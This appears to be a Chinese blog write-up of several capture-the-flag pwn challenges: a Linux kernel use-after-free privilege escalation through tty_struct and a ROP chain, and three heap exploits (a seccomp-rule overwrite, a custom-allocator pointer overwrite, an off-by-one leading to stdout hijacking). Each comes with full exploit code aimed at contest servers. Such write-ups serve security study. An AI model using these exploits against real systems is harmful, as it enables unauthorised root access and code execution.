CTF Re&&PwnCTF-PWN学渣工具

Some PWN in KCTF Q3 && Bytes CTF

2019-09-25  本文已影响0人  Kirin_say

只记录几个有意思的,常规的就不写了

KCTF Q3: 绝地反击

First Blood, Happy

First Blood

qemu_cmd:

qemu-system-x86_64 -s -m 256M \
    -nographic -kernel $bzImage_dir \
    -append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null -initrd $cpio_dir \
    -smp cores=2,threads=2  \
    -cpu kvm64,+smep,+smap 

内核存在smep,smap和kalsr保护
漏洞比较明显,在ioctl的0x133d操作中存在uaf
不过只能申请0x400大小的heap
首先想到可以通过UAF,kfree掉一个0x400大小的chunk后,打开一个tty设备,此时tty_struct即可分配到此chunk,以此来leak堆地址和内核加载基址
而后利用上,首先存在smep和smap保护
所以不能直接迁移栈到用户空间,考虑直接在内核空间提权
尝试过tty所有option后选择write操作
write操作前,数据会被copy到内核空间且数据指针在栈上:

stack:
function return address
(ptr *)data writed to tty

此时只需要一个pop rsp的操作即可迁移栈,且迁移后栈内数据即是write的数据,直接利用rop链调用commit_creds(prepare_kernel_cred(0))并返回用户态即可完成提权:
A magic target in kernel:

.text:FFFFFFFF811751F3                 pop     rcx
.text:FFFFFFFF811751F4                 or      eax, 415BFFF4h
.text:FFFFFFFF811751F9                 pop     rsp
.text:FFFFFFFF811751FA                 pop     rbp
.text:FFFFFFFF811751FB                 retn

EXP:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))
#define _GNU_SOURCE
//just for debug
/*struct _tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct inode *inode, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    struct file_operations *proc_fops;
};*/
long int  data[0x400];
void add(int fd){
    ioctl(fd,0x1336);
}
void set_dead(int fd,long int index){
    ioctl(fd,0x1338,index);
}
void set_alive(int fd,long int index){
    ioctl(fd,0x1339,index);
}
void set(int fd,long int dest,long int src){
    long int arg[2]={src,dest};
    ioctl(fd,0x1337,arg);
}
void fake(int fd,long int arg1,long int arg2,long int arg3){
    long int arg[3]={arg1,arg2,arg3};
    ioctl(fd,0x133d,arg);
}
void leak(int fd,long int index,long int size){
    long int arg[3]={index,data,size};
    ioctl(fd,0x133b,arg);
}
void edit(int fd,long int index,long int *user,long int size){
    long int arg[3]={index,user,size};
    ioctl(fd,0x133a,arg);
}
void info(){
     for(int i=0;i<=60;i++){
     printf("%016llx  |  %016llx\n",data[2*i],data[2*i+1]);
     }
}
void shell(){
    system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}
int fd,fd2;
long int heap_addr,kernel_base,fake_tty_op;
void leak_addr(){
   fd=open("/dev/kpwn",0);
   add(fd);
   add(fd);
   add(fd);
   add(fd);
   set_dead(fd,0);
   set(fd,3,0);
   set_alive(fd,0);
   set_dead(fd,1);
   fake(fd,1,0,3);
   leak(fd,3,0x200);
   heap_addr=data[0];
   printf("[*]heap addr=0x%llx\n",heap_addr);
   fd2=open("/dev/ptmx",1);
   leak(fd,3,0x300);
   kernel_base=(data[76]-0x17a820);
   printf("[*]kernel addr=0x%llx\n",kernel_base);
   fake_tty_op=heap_addr+0x400;
   printf("[*]fake tty op=0x%llx\n",fake_tty_op);
}
void exploit(){
   add(fd);
   set(fd,4,0);
   long int magic=kernel_base+0x1751f3;
   long int user_data[30];
   for(int i=0;i<20;i++){
      user_data[i]=magic;
   }
   edit(fd,4,user_data,0x100);
   user_data[0]=data[0];
   user_data[1]=data[1];
   user_data[2]=data[2];
   user_data[3]=fake_tty_op;
   edit(fd,3,user_data,0x20);
   int i=0;
   user_data[i++]=0;
   user_data[i++]=kernel_base+0x118fab;//pop_rdx_rdi
   user_data[i++]=0;
   user_data[i++]=0;
   user_data[i++]=kernel_base+0x4f050;//commit_creds(prepare_kernel_cred(0))
   user_data[i++]=kernel_base+0x1ed3e;//xor pop ret
   user_data[i++]=0;
   user_data[i++]=kernel_base+0x10f29f;
   user_data[i++]=0;
   user_data[i++]=kernel_base+0x4f210;
   user_data[i++]=kernel_base+0x200c2e;//swapgs;popfq;pop rbp;ret
   user_data[i++]=0x246;
   user_data[i++]=0;
   user_data[i++]=kernel_base+0x1a306;
   user_data[i++]=shell;
   user_data[i++]=user_cs;
   user_data[i++]=user_eflags;
   user_data[i++]=user_sp;
   user_data[i++]=user_ss;
   write(fd2,user_data,0xb0);
}
int main(){
   save_status();
   signal(SIGSEGV, shell);
   leak_addr();
   exploit();
}
//gcc ./exp.c --static
//find . | cpio -o -H  newc  > ../kirin.cpio
//upload:
//def upload():
//    with open("exp.zip", "rb") as f:
//        data = f.read()
//    encoded = base64.b64encode(data)
//    for i in range(0, len(encoded), 300):
//        #print("%d / %d" % (i, len(encoded)))
//        print("echo \"%s\" >> tmp" % (encoded[i:i+300]))        
//    print("cat tmp | base64 -d > exp.zip")    
//    print("unzip ./exp.zip")
//    print("chmod +x ./exp")
//    print("./exp")
//upload()
PWN

Bytes CTF: vip

程序在become_vip过程中会载入seccomp规则
且此函数在read name时存在溢出,可以覆盖seccomp规则
同时在edit中可以看到:

ssize_t __fastcall edit(void *a1, int a2)
{
  int fd; // [rsp+1Ch] [rbp-4h]

  if ( dword_4040E0 )
    return read(0, a1, a2);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
    exit(0);
  return read(fd, a1, a2);
}

因此想到让open返回0来绕过read(fd, a1, a2),来使edit内容可控
因此选择覆盖的seccomp规则:

A = args[1]
A &= 0xffff
A == 0x207e ? ok:next
return ALLOW
ok:
return ERRNO(0)
#seccomp-tools asm ./kirin.asm

判断第一个参数的值来控制返回操作,在open("/dev/urandom", 0);时,第一个参数为"/dev/urandom"字符串地址:

000000000040207E file            db '/dev/urandom',0 

这样即可使fd返回为0,控制edit内容(起初想直接判断sys_number是否为openat,这样虽然也可以成功控制,但是在最后执行system("/bin/sh")时候会失败)
edit可控后便是正常的堆溢,修改free_hook为&system,即可最后get shell

EXP:

from pwn import *

context.log_level="debug"
def add(index):
    p.sendlineafter(": ","1")
    p.sendlineafter(": ",str(index))
def delete(index):
    p.sendlineafter(": ","3")
    p.sendlineafter(": ",str(index))
def edit(index,size,note):
    p.sendlineafter(": ","4")
    p.sendlineafter(": ",str(index))
    p.sendlineafter("Size: ",str(size))
    p.sendafter(": ",note)
def show(index):
    p.sendlineafter(": ","2")
    p.sendlineafter(": ",str(index))
#p=process("./vip")
p=remote("112.126.103.14",9999)
payload=" \x00\x00\x00\x18\x00\x00\x00T\x00\x00\x00\xFF\xFF\x00\x00\x15\x00\x01\x00~ \x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"
p.sendlineafter(": ","6")
p.sendafter("name: \n","a"*0x20+payload)
#p.interactive()
add(0)
add(1)
add(5)
for i in range(20):
   add(2)
edit(0,0x80,"a"*0x10*5+p64(0)+p64(0x60*16+1))
delete(1)
add(3)
show(3)
libc_addr=u64(p.recv(6)+"\x00\x00")-0x7fc35edea110+0x7fc35e9fe000
print hex(libc_addr)
add(4)
add(6)
add(7)
add(8)
delete(6)
delete(7)
delete(8)
delete(4)
edit(5,16,p64(libc_addr+0x3ed8e8))
add(2)
add(2)
edit(2,16,p64(libc_addr+0x4f440))
add(6)
edit(6,40,"/bin/sh\x00")
#gdb.attach(p)
delete(6)
p.interactive()

Bytes CTF: mheap

首先程序自身实现了简单的malloc和free功能
结构为chunk_size+chunk_ptr+user_data
首先可以知道覆盖掉chunk_ptr即可类似fastbin attack将chunk分配到有合法地址的位置
漏洞比较明显,在read输入的过程中:

__int64 __fastcall read_note(__int64 a1, signed int a2)
{
  __int64 result; // rax
  unsigned int v3; // [rsp+18h] [rbp-8h]
  int v4; // [rsp+1Ch] [rbp-4h]

  v3 = 0;
  do
  {
    result = v3;
    if ( (signed int)v3 >= a2 )
      break;
    v4 = read(0, (void *)(a1 + (signed int)v3), (signed int)(a2 - v3));
    if ( !v4 )
      exit(0);
    v3 += v4;
    result = *(unsigned __int8 *)((signed int)v3 - 1LL + a1);
  }
  while ( (_BYTE)result != 10 );
  return result;
}

这里只判断返回是否为0,没有判断返回错误(-1)的状态
导致可以向预期指针的前方写入数据
选择直接分配chunk到边界,这时候由于size没有严格的check,导致chunk到最后可以分配超过mmap的地址,这时候read过程中由于地址没有写权限(没被分配的非法地址)从而返回-1,而后即可向前修改掉一个free掉的chunk的指针,将其指向note_list(其中有合法size),即可任意地址读写,修改GOT['atoi']指向&system即可在输入"/bin/sh"时get shell

EXP:

from pwn import *
import time
def add(index,size,note):
   p.sendlineafter(": ","1")
   p.sendlineafter(": ",str(index))
   p.sendlineafter(": ",str(size))
   p.sendafter(": ",note)
def show(index):
   p.sendlineafter(": ","2")
   p.sendlineafter(": ",str(index))
def delete(index):
   p.sendlineafter(": ","3")
   p.sendlineafter(": ",str(index))
def edit(index,note):
   p.sendlineafter(": ","4")
   p.sendlineafter(": ",str(index))
   p.send(note)
context.log_level="debug"
#p=process("./mheap")
p=remote("112.126.98.5",9999)
add(0,0xf90,"kirin\n")
add(1,1,"a")
delete(1)
add(2,0x50,p64(0x4040e3)*10+"\x00\x00\x00\x00\x00\x00\x00\n")
add(0,0x10,"aaaa\n")
add(0,0x10,"aaaaa"+p64(0x404050)+"\n")
show(3)
libc=u64(p.recv(6)+"\x00\x00")-0x40680
edit(3,p64(libc+0x4f440)+"\n")
p.sendlineafter(": ","/bin/sh")
#gdb.attach(p)
p.interactive()

Bytes CTF: notefive

程序在read输入时存在逻辑漏洞导致输入可以比参数大一字节造成off by one:

__int64 __fastcall read_note(__int64 a1, signed int a2, char a3)
{
  __int64 result; // rax
  char v4; // [rsp+0h] [rbp-20h]
  unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v4 = a3;
  v7 = __readfsqword(0x28u);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i > a2 )
      break;
    if ( (signed int)read(0, &buf, 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    result = buf;
    if ( buf == v4 )
      break;
    *(_BYTE *)(a1 + (signed int)i) = buf;
  }
  return result;
}

同时在add过程中size要求:

size > 0x8F && size <= 1024

因此选择首先利用off by one来构造堆重叠进行unsortedbin attack,修改掉global_max_fast
而后由于size需要打印0x8F且程序本身没有show操作,只能在stderr靠近stdout的位置找到一个合法size,"\xFF"
这样delete一个0xe8大小的chunk,而后利用堆重叠修正其fd指针
即可将chunk分配到stdout附近,覆盖掉flags和_IO_write_base低字节来造成程序leak出一段存在libc地址的数据
leak之后再用相同方法分配chunk到stdout尾部覆盖vtable为写满one_target的一段位置即可在输出时get shell:

EXP:

#需要爆破4bits global_max_fast的地址
from pwn import *

context.log_level="debug"
def add(index,size):
    p.sendlineafter(">> ","1")
    p.sendlineafter(": ",str(index))
    p.sendlineafter(": ",str(size))
def delete(index):
    p.sendlineafter(">> ","3")
    p.sendlineafter(": ",str(index))
def edit(index,note):
    p.sendlineafter(">> ","2")
    p.sendlineafter(": ",str(index))
    p.sendafter(": ",note)
for i in range(100):
  try:
    p=remote("112.126.103.195",9999)
    add(0,0xf8)
    add(1,0xf8)
    add(2,0xe8)
    add(3,0xe8)
    add(4,0xe8)
    delete(3)
    add(3,0xe8)
    add(4,0xe8)
    edit(0,"a"*0xf0+p64(0x200)+"\xf1")
    delete(1)
    add(1,0xf8)
    edit(2,"a"*8+"\xe8\x37"+"\n")
    add(1,0xe8)
    delete(1)
    edit(2,"\xcf\x25\n")
    add(1,0xe8)
    add(0,0xe8)
    edit(0,"a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"\x00"+"\n")
    p.recvuntil("\x7f\x00\x00")
    libc=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
    print hex(libc)
    delete(1)
    edit(2,p64(libc+0x7ffff7dd26af-0x7ffff7a0d000)+"\n")
    add(0,0xe8)
    add(1,0xe8)
    payload="a"+p64(libc-0x7ffff7a0d000+0x00007ffff7dd17a0)
    payload+=p64(0)*3+p64(0xffffffff)+p64(0)*2+p64(libc-0x7ffff7a0d000+0x7ffff7dd2720)
    payload+=p64(libc-0x7ffff7a0d000+0x00007ffff7dd2540)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd2620)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd18e0)+p64(libc-0x7ffff7a0d000+0x00007ffff7a2db70)
    payload+=p64(libc+0xf1147)*16+"\n"
    edit(1,payload)
    #gdb.attach(p)
    p.interactive()
  except:
     print i
上一篇下一篇

猜你喜欢

热点阅读